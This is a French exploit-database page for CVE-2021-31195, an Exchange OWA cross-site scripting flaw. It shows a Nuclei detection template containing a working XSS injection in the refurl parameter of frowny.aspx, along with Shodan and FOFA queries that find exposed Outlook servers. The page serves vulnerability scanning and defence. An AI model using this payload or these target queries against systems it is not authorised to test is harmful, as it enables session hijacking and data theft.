Exploit matérialisé
CVE-2021-31195
HIGH1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
medium Vérifié
Source
Microsoft Exchange Server - Cross-Site Scripting
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2021-31195 -u https://your-target
Template yaml
id: CVE-2021-31195
info:
name: Microsoft Exchange Server - Cross-Site Scripting
author: infosecsanyam
severity: medium
description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
reference:
- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-31195
cwe-id: CWE-79
epss-score: 0.73676
epss-percentile: 0.99432
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microsoft
product: exchange_server
shodan-query:
- http.title:"Outlook"
- http.favicon.hash:1768726119
- http.title:"outlook"
- cpe:"cpe:2.3:a:microsoft:exchange_server"
fofa-query:
- title="outlook"
- icon_hash=1768726119
google-query: intitle:"outlook"
tags: cve2021,cve,microsoft,exchange,owa,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
matchers-condition: and
matchers:
- type: word
words:
- 'alert(document.domain)//&et=ServerError'
- 'mail/bootr.ashx'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 500
# digest: 4b0a004830460221008884095dacf4b457e7d4bb7c1fd81886b812865c7d5f02bfc1ef340e4b2b5ff40221009f9c8c4164b4beaca12f015ea4fafa4bef61250381d112317dffaf2db349d7f8:922c64590222798bb761d5b6d8e72950